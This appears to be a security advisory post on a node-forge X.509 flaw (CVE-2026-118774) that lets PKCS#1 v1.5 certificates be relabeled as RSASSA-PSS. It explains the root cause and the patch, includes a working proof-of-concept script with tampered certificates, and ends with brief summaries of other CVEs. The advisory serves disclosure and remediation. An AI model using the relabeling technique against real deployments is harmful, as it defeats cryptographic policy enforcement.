Nov 10, 2026·12 min read·1 visit
In node-forge prior to 1.4.1, X.509 certificate verification uses the parent issuer's signature algorithm instead of the child certificate's signature algorithm to determine RSA padding schemes. This allows PKCS#1 v1.5-signed certificates to be relabeled as RSASSA-PSS and pass verification when issued by a PKCS#1 v1.5 CA, bypassing cryptographic scheme enforcement policies.
CVE-2026-118774 (GHSA-9wg5-mj3p-v49q) is an improper cryptographic signature verification vulnerability (CWE-347) in node-forge versions prior to 1.4.1. When verifying an X.509 subordinate certificate via certificate.verify(child) or verifyCertificateChain(), the library erroneously selects the RSA padding scheme (e.g., PKCS#1 v1.5 vs. RSASSA-PSS) and RSASSA-PSS parameters from the issuer certificate rather than from the child certificate being verified. This enables an attacker to relabel a PKCS#1 v1.5-signed certificate as an RSASSA-PSS certificate without invalidating the signature check, bypassing downstream security policies that mandate RSASSA-PSS.
Forge (distributed on npm as node-forge) is a native JavaScript implementation of the Transport Layer Security (TLS) protocol, Public Key Infrastructure (PKI) utilities, and cryptographic primitives. Within its PKI module (lib/x509.js), node-forge provides functions for parsing, generating, and verifying X.509 certificates and certificate chains, specifically through certificate.verify(child) and pki.verifyCertificateChain(). Applications rely on these interfaces to establish trust hierarchies and enforce cryptographic compliance rules on incoming client or server certificates.
In versions of node-forge prior to 1.4.1, the certificate verification logic contains an Improper Verification of Cryptographic Signature vulnerability classified under CWE-347. When an issuing Certificate Authority (CA) certificate verifies a subordinate (child) certificate, the verification routine must use the issuer's public key alongside the signature algorithm and padding parameters specified on the child certificate. Instead, node-forge extracted both the public key and the signature scheme parameters (signatureOid and signatureParameters) from the issuer certificate.
This logic inversion has two primary effects on X.509 processing. From a security perspective, if an issuer certificate uses RSA PKCS#1 v1.5 (sha256WithRSAEncryption), any subordinate certificate it signs will be evaluated using PKCS#1 v1.5 padding regardless of what algorithm identifier the subordinate certificate declares. An attacker in possession of a legitimately issued PKCS#1 v1.5 certificate can modify its outer signatureAlgorithm field to claim RSASSA-PSS, and node-forge will still accept the signature as valid. This allows certificates signed with legacy padding schemes to bypass application-level security policies requiring modern RSASSA-PSS signatures.
From an interoperability and availability perspective, the bug breaks valid X.509 certificate hierarchies where the issuer and child certificates use different RSA signature schemes. Specifically, a PKCS#1 v1.5 leaf certificate legitimately signed by an RSASSA-PSS intermediate or root CA fails verification, as does an RSASSA-PSS leaf certificate signed by a PKCS#1 v1.5 CA. The vulnerability does not allow arbitrary forgery of certificate identities without the issuer's private key, as the underlying mathematical verification against the issuer's public key still executes.
To understand the root cause of CVE-2026-118774, it is necessary to examine the structure of an X.509 v3 certificate as defined in RFC 5280. An X.509 certificate is an ASN.1 SEQUENCE containing three top-level fields: tbsCertificate (the To-Be-Signed certificate body), signatureAlgorithm (an AlgorithmIdentifier specifying the cryptographic algorithm used by the CA to sign the certificate), and signatureValue (a BIT STRING containing the raw cryptographic signature). Inside tbsCertificate, there is also an inner signature field (TBSCertificate.signature), which must match the outer signatureAlgorithm field.
When node-forge parses an X.509 certificate via pki.certificateFromAsn1(), it populates several properties on the resulting certificate object:
cert.signatureOid: Derived from the outer signatureAlgorithm OID.cert.signatureParameters: Extracted parameters for the outer signatureAlgorithm (such as hash algorithm, mask generation function MGF1, and salt length for RSASSA-PSS).cert.siginfo.algorithmOid: Derived from the inner TBSCertificate.signature OID.cert.md: The message digest instance initialized based on cert.signatureOid (or cert.signatureParameters in the case of RSASSA-PSS) and updated with the DER-encoded bytes of tbsCertificate.During certificate chain verification, a parent certificate object (cert) invokes cert.verify(child) to verify the cryptographic signature on the subordinate certificate (child). Prior to executing the RSA verification primitive, cert.verify(child) checks that child.signatureOid === child.siginfo.algorithmOid to ensure consistency between the inner and outer algorithm identifiers, or initializes the message digest md over the child's tbsCertificate if it has not been pre-computed. It then delegates the cryptographic verification to the internal helper function _verifySignature(options).
The root cause lies in the arguments passed to _verifySignature() inside cert.verify(child). The implementation passed certificate: cert (the parent/issuer certificate) instead of child, because _verifySignature() was originally designed to extract the verification public key directly from options.certificate.publicKey. However, _verifySignature() also inspected options.certificate.signatureOid and options.certificate.signatureParameters to construct the scheme parameter passed to publicKey.verify(digestBytes, signature, scheme).
Consequently, _verifySignature() determined whether to use PKCS#1 v1.5 padding ('RSASSA-PKCS1-V1_5') or PSS padding (pss.create(...)) by inspecting the issuer's own signature algorithm rather than the child's signature algorithm. While the message digest (md) was computed using the hash algorithm declared on the child certificate, the RSA padding verification step was governed entirely by how the issuer certificate itself had been signed by its own parent.
The vulnerability is isolated to lib/x509.js within the digitalbazaar/forge repository. In versions prior to 1.4.1, _verifySignature() assumed that the certificate object providing the public key was the same certificate object whose signature algorithm parameters should be evaluated. This assumption only holds true for self-signed root certificates (where the issuer and subject are identical) or Certificate Signing Requests (CSRs), where the entity's own public key verifies its proof-of-possession signature.
Below is the vulnerable implementation in lib/x509.js prior to version 1.4.1:
// Vulnerable code in lib/x509.js (< 1.4.1)
var _verifySignature = function(options) {
var cert = options.certificate;
var scheme;
switch(cert.signatureOid) {
case oids.sha1WithRSAEncryption:
case oids.md5WithRSAEncryption:
case oids.md2WithRSAEncryption:
case oids.sha256WithRSAEncryption:
case oids.sha384WithRSAEncryption:
case oids.sha512WithRSAEncryption:
case oids.sha224WithRSAEncryption:
/* use PKCS#1 v1.5 padding scheme */
scheme = undefined;
break;
case oids['RSASSA-PSS']:
/* initialize PSS parameters from cert.signatureParameters */
// ... constructs pss scheme object ...
break;
}
// Both scheme and publicKey were derived from options.certificate (the issuer)
return cert.publicKey.verify(
options.md.digest().getBytes(), options.signature, scheme
);
};
// Inside cert.verify(child):
if(md !== null) {
rval = _verifySignature({
certificate: cert, md: md, signature: child.signature
});
}In commit c7f42614d5166a77ddf11ce174b2601b14f6956b, the maintainers decoupled the certificate being verified from the public key used to perform the verification. The patch modifies _verifySignature() to accept an explicit publicKey property on the options parameter, falling back to cert.publicKey only when options.publicKey is omitted (such as during CSR self-verification).
--- a/lib/x509.js
+++ b/lib/x509.js
@@ -727,12 +727,14 @@ var _createSignatureDigest = function(options) {
*
* @param options:
* certificate the certificate or CSR to verify.
+ * publicKey the optional public key to verify with.
* md the signature digest.
* signature the signature
* @return a created md instance. throws if unknown oid.
*/
var _verifySignature = function(options) {
var cert = options.certificate;
+ var publicKey = options.publicKey || cert.publicKey;
var scheme;
switch(cert.signatureOid) {
@@ -779,7 +781,7 @@ var _verifySignature = function(options) {
}
// verify signature on cert using public key
- return cert.publicKey.verify(
+ return publicKey.verify(
options.md.digest().getBytes(), options.signature, scheme
);
};
@@ -1184,8 +1186,12 @@ pki.createCertificate = function() {
}
if(md !== null) {
+ // the padding scheme comes from the child's signature algorithm
rval = _verifySignature({
- certificate: cert, md: md, signature: child.signature
+ certificate: child,
+ publicKey: cert.publicKey,
+ md: md,
+ signature: child.signature
});
}With this change, cert.verify(child) passes certificate: child and publicKey: cert.publicKey. Inside _verifySignature(), cert now accurately references the child certificate, causing the switch(cert.signatureOid) block and cert.signatureParameters lookup to evaluate the child certificate's declared signature algorithm.
Fix Completeness Assessment: The patch completely resolves the issue within lib/x509.js. Furthermore, an inspection of cert.verify(child) reveals an additional nuance regarding how node-forge handles pre-computed message digests (child.md) during ASN.1 parsing. When pki.certificateFromAsn1() parses a certificate, it checks if cert.signatureOid === cert.siginfo.algorithmOid; if they do not match, cert.md is set to null. Later, if cert.verify(child) sees child.md === null, it throws an error if child.signatureOid !== child.siginfo.algorithmOid. However, prior to the patch, if pki.certificateFromAsn1(obj, true) was called with computeHash = true (which is the default in pki.certificateFromPem()), child.md was already non-null even if the outer signatureAlgorithm had been tampered with to RSASSA-PSS (provided the hash algorithm inside the PSS parameters matched the hash algorithm of the inner PKCS#1 v1.5 signature, because pki.certificateFromAsn1() checked signatureOid === siginfo.algorithmOid after setting cert.md or only skipped md creation if the OID was unrecognized). By passing certificate: child to _verifySignature(), any relabeling of the outer signatureAlgorithm to RSASSA-PSS now forces publicKey.verify() to execute RSASSA-PSS verification against the raw PKCS#1 v1.5 signature bytes, which deterministically fails cryptographic verification.
Exploiting CVE-2026-118774 does not allow an attacker to forge a certificate for an arbitrary domain or identity without access to a trusted CA's private key. Instead, the attack targets algorithmic policy enforcement in environments that inspect verified X.509 certificates to ensure compliance with cryptographic standards (for example, zero-trust gateways, mTLS authenticators, or PKI compliance auditors that mandate RSASSA-PSS and reject legacy PKCS#1 v1.5 signatures).
There are two distinct attack scenarios demonstrated by the official regression tests in commit c7f42614d5166a77ddf11ce174b2601b14f6956b:
leafV15RelabeledPssPem): An attacker possesses a valid leaf certificate legitimately signed by a trusted CA using sha256WithRSAEncryption (PKCS#1 v1.5), where the CA's own certificate is also signed with PKCS#1 v1.5. Without needing the CA's private key, the attacker modifies the outer, unsigned signatureAlgorithm ASN.1 sequence of the leaf certificate from sha256WithRSAEncryption (1.2.840.113549.1.1.11) to RSASSA-PSS (1.2.840.113549.1.1.10) with SHA-256 parameters.When pki.certificateFromPem() parses this modified certificate, pki.certificateFromAsn1() reads the outer signatureAlgorithm FIRST, sets child.signatureOid to RSASSA-PSS, and initializes child.md using SHA-256 over the tbsCertificate bytes before noticing that child.signatureOid !== child.siginfo.algorithmOid. When cert.verify(child) is subsequently called, it sees child.md !== null and skips the inner/outer OID equality check. In vulnerable versions of node-forge, _verifySignature() then uses the issuer's PKCS#1 v1.5 scheme to verify the untouched PKCS#1 v1.5 signature over the SHA-256 digest. Verification succeeds, and child.signatureOid reports 1.2.840.113549.1.1.10 (RSASSA-PSS) to the consuming application.
leafPssLabelV15SigPem): Both the inner TBSCertificate.signature and outer signatureAlgorithm fields are labeled as RSASSA-PSS, but the signature value is computed using PKCS#1 v1.5 padding under a PKCS#1 v1.5 issuer. Vulnerable node-forge instances accept the certificate as valid.Below is a self-contained reproduction script adapted from the upstream regression suite in tests/unit/x509.js:
const forge = require('node-forge');
const pki = forge.pki;
// Root CA certificate signed with PKCS#1 v1.5 (sha256WithRSAEncryption)
const rootV15Pem = '-----BEGIN CERTIFICATE-----\r\n' +
'MIIBuTCCASKgAwIBAgIBATANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDEwh2MTUg\r\n' +
'cm9vdDAeFw0yNjAxMDEwMDAwMDBaFw00NjAxMDEwMDAwMDBaMBMxETAPBgNVBAMT\r\n' +
'CHYxNSByb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDbsCOZsVF4jIW6\r\n' +
'v6o7kQ4Xb0g9Po/lgSw2N/1PZJzMpIofiBPhVFMrmn52gAYORV9toAMX16Ttcm90\r\n' +
'hm9QHyfBn11mPYCvwdjKTwGG54JVPYu5ySLSaRAFbfbdQ6lC2QFN4IKHOHPi8ieh\r\n' +
'zB26mRciHhDq4cyrha7xJyNNez/3IQIDAQABox0wGzAMBgNVHRMEBTADAQH/MAsG\r\n' +
'A1UdDwQEAwICBDANBgkqhkiG9w0BAQsFAAOBgQAw43yJkLqAWHvlLsUbEpUFkHt6\r\n' +
'XecbM+G4tVcTNhzFExWQTZfLvmqlCih3cKb+2p7fik3ObAqmhNokEPRvH5oClrrB\r\n' +
'zymyMWp6pnRHQzEkwJJ7gSNKcyXwiw3vGFBilisltXNd+OHvYx/Q9ULZPB2ys98j\r\n' +
'nLjLlLf7OzWCqDZxEA==\r\n' +
'-----END CERTIFICATE-----\r\n';
// Leaf certificate signed with PKCS#1 v1.5, but outer signatureAlgorithm
// relabeled as RSASSA-PSS (requires no private key to modify)
const leafV15RelabeledPssPem = '-----BEGIN CERTIFICATE-----\r\n' +
'MIIB5jCCARugAwIBAgIBAjANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDEwh2MTUg\r\n' +
'cm9vdDAeFw0yNjAxMDEwMDAwMDBaFw00NjAxMDEwMDAwMDBaMA8xDTALBgNVBAMT\r\n' +
'BGxlYWYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMstYebK3mIo4HLlpJ2m\r\n' +
'51rMiPEtRJpNDUgcaUWqWq9e+NduHbaZj8X8dhemTnle3YSR5qJIwEVl6n41css+\r\n' +
'vexBByjGNB+6PUEHgjVpASTQD0C6zb4EHY3qVgsfEOn223SkIrXHauIjqyDXz95U\r\n' +
'cO+mnrJPjyKVFpr/0o/LycYJAgMBAAGjGjAYMAkGA1UdEwQCMAAwCwYDVR0PBAQD\r\n' +
'AgeAMEEGCSqGSIb3DQEBCjA0oA8wDQYJYIZIAWUDBAIBBQChHDAaBgkqhkiG9w0B\r\n' +
'AQgwDQYJYIZIAWUDBAIBBQCiAwIBIAOBgQCalxZWTNjQ3mwrsKhe9ewd+CtVjA0u\r\n' +
'qYUgKbB3UJxchBGqT0VHOme+j4Sxlzrlt36LzWrDylg5tOZASBPnqQU8/FpQ7gKy\r\n' +
'KM9ksJLU6xs7HBG5dhUbKRC1B5Rub2t8KjxZerrqDUPyVJ8fxCc5N5N/ZAe8bqE8\r\n' +
'bXSQcIQhub3RdQ==\r\n' +
'-----END CERTIFICATE-----\r\n';
const caStore = pki.createCaStore([pki.certificateFromPem(rootV15Pem)]);
const leafCert = pki.certificateFromPem(leafV15RelabeledPssPem);
// On node-forge < 1.4.1, this returns true despite the forged outer OID
// On node-forge >= 1.4.1, this throws 'Certificate signature is invalid.'
const isValid = pki.verifyCertificateChain(caStore, [leafCert]);
console.log('Chain verified:', isValid);
console.log('Declared OID:', forge.pki.oids[leafCert.signatureOid]); // 'RSASSA-PSS'The official CVSS v3.1 score for CVE-2026-118774 is 3.7 (Low) with the vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N. The Attack Vector is Network (AV:N) with No Privileges Required (PR:N) and No User Interaction (UI:N), reflecting that X.509 certificates are typically supplied over network protocols by untrusted peers. Attack Complexity is rated High (AC:H) and Integrity Impact is Low (I:L), because exploitation does not bypass private-key cryptographic proof of identity; it only impacts applications that explicitly enforce signature scheme policies via cert.signatureOid.
In affected deployments, an application that verifies a certificate chain via pki.verifyCertificateChain() and subsequently checks leafCert.signatureOid === forge.pki.oids['RSASSA-PSS'] can be tricked into accepting a certificate whose actual cryptographic signature is PKCS#1 v1.5. Because the outer signatureAlgorithm field of an X.509 certificate resides outside the signed tbsCertificate structure, any holder of a valid PKCS#1 v1.5 certificate issued by a PKCS#1 v1.5 CA can perform this relabeling without access to the CA's signing key.
Conversely, legitimate PKI environments using mixed RSA padding schemes across their hierarchy experience functional verification failures on node-forge versions prior to 1.4.1. For example, if an organization operates an offline Root CA signed with PKCS#1 v1.5 that issues an Intermediate CA or end-entity certificate signed with RSASSA-PSS (or vice versa), node-forge rejects the valid certificate chain with a bad_certificate error (Certificate signature is invalid.).
Threat intelligence metrics confirm a low likelihood of widespread opportunistic exploitation in the wild. The Exploit Prediction Scoring System (EPSS) assigns CVE-2026-118774 a score of 0.00103 (0.103%), placing it in the 0.99th percentile of all scored vulnerabilities. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no weaponized exploits exist in public exploit databases.
To remediate CVE-2026-118774, upgrade node-forge to version 1.4.1 or later. Version 1.4.1 updates _verifySignature() and cert.verify(child) in lib/x509.js to evaluate the RSA signature padding scheme and RSASSA-PSS parameters from the child certificate while verifying against the issuer's public key.
Developers should update their direct dependency declarations using npm or Yarn:
npm install node-forge@^1.4.1
# or
yarn upgrade node-forge@^1.4.1Because node-forge is frequently included as a transitive dependency in JavaScript bundlers, build tools, and SDKs, security teams should audit their lockfiles (package-lock.json or yarn.lock) to verify that no older versions remain in the dependency tree:
npm ls node-forgeIf an upstream package pins node-forge to a version prior to 1.4.1, enforce the patched version using overrides in package.json (for npm) or resolutions (for Yarn):
{
"overrides": {
"node-forge": "^1.4.1"
}
}> [!NOTE]
> If immediate upgrading is not feasible, applications that enforce signature algorithm policies on verified X.509 certificates must not rely solely on cert.signatureOid. As a defense-in-depth workaround, explicitly verify that the inner TBSCertificate.signature OID matches the outer signatureAlgorithm OID (cert.signatureOid === cert.siginfo.algorithmOid) and ensure that the issuer's signature scheme matches the expected child signature scheme before trusting the certificate.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
node-forge (forge) Digital Bazaar | < 1.4.1 | 1.4.1 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-118774 (GHSA-9wg5-mj3p-v49q) |
| Weakness Class | CWE-347: Improper Verification of Cryptographic Signature |
| Affected Component | node-forge (lib/x509.js: certificate.verify, _verifySignature) |
| CVSS v3.1 Score | 3.7 Low (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| EPSS Score | 0.103% (0.99th Percentile) |
| Impact | Cryptographic signature scheme policy bypass and mixed-scheme X.509 chain verification failure |
| Exploit Status | Proof-of-Concept (Upstream unit test suite) |
| Patched Version | node-forge 1.4.1 |
The software does not verify, or improperly verifies, the cryptographic signature for data.
CVE-2026-118670 (GHSA-xwgp-w3pj-q5h3) is a high-severity DOM-based Cross-Site Scripting (XSS) vulnerability in OHIF Viewers affecting the dicom-pdf extension module. When processing DICOM Encapsulated Document objects, the viewer extracts the untrusted MIMETypeOfEncapsulatedDocument attribute (tag 0042,0012) and uses it directly to instantiate an in-memory Blob. This Blob is then converted to a same-origin Object URL and embedded into the document via an HTML <object> element. Because browsers prioritize the resource's underlying MIME type over the <object> element's type attribute, an attacker who supplies a crafted DICOM file with a MIME type such as text/html can execute arbitrary JavaScript within the application's origin, compromising session tokens, local storage, and Patient Health Information (PHI).
A Denial of Service (DoS) vulnerability exists in the web display module (urwid/display/web.py) of the Urwid console user interface library for Python in versions prior to 4.0.7. The handle_short_request() function unconditionally encodes HTTP POST input as ASCII without exception handling and opens a FIFO pipe file descriptor without a guaranteed cleanup block. Submitting non-ASCII characters triggers an unhandled UnicodeEncodeError that terminates CGI request processing and leaks the open file descriptor. Additionally, the screen update polling routine decodes Unix domain socket streams iteratively as UTF-8 without exception handling or deterministic socket closure, enabling uncaught UnicodeDecodeError exceptions and socket leaks.
CVE-2026-115770 is a critical vulnerability (CVSS 9.6) in Pocket ID, an OpenID Connect (OIDC) provider that uses passkey authentication. In versions 2.2.0 through 2.11.0, email verification tokens are bound exclusively to the user account identifier (user_id) rather than the specific email address for which the token was issued. In addition, updating the account email address does not invalidate existing verification tokens. An authenticated user can request a verification token for an attacker-controlled address, modify their profile email to an arbitrary unverified target address, and redeem the previously issued token. This marks the target email address as verified (email_verified = true), enabling account takeover on downstream OIDC relying parties that link or provision accounts based on verified email claims.
CVE-2026-102895 is an improper authentication and origin validation vulnerability in GPUStack versions prior to 2.2.0. By default, the API authentication dependency in gpustack/api/auth.py grants built-in administrator privileges to unauthenticated requests resolved as originating from 127.0.0.1 when the force_auth_localhost flag is false. Because client IP resolution trusts same-host reverse proxy TCP peers and unvalidated X-GPUStack-Real-IP headers, remote unauthenticated attackers can bypass authentication, obtain full administrative control, extract sensitive credentials, and achieve remote code execution via the /v2/inference-backends/from-yaml endpoint.
CVE-2026-87008 (GHSA-85gg-2gfq-q95m) is a high-severity symbolic link following and path traversal vulnerability in the `code-graph-rag` Python package prior to version 0.0.589. The flaw resides in the `should_skip_path` path validation routine inside `codebase_rag/utils/path_utils.py`, which performs directory containment checks using unresolved lexical paths rather than canonicalized filesystem paths. Consequently, symbolic links committed to an untrusted repository that point to targets outside the project root bypass boundary enforcement. Attackers who supply a crafted repository containing symbolic links can leverage the `AstGrepService` tool (`structural_search` and `structural_replace`) to read or overwrite arbitrary files on the host filesystem within the privileges of the running process.
FileGator versions prior to 7.15.0 contain a missing authorization check (CWE-862) and predictable identifier generation flaw (CWE-330) in the batch download implementation. When a user initiates a batch download, FileGator generates a temporary ZIP archive identified by PHP's non-cryptographic uniqid() function without binding the resulting identifier to the creating user's session. Consequently, any authenticated user with read, download, and batchdownload permissions who obtains or predicts an active archive identifier can retrieve another user's private files via GET /batchdownload, bypassing per-user home directory isolation and deleting the victim's temporary archive upon download completion.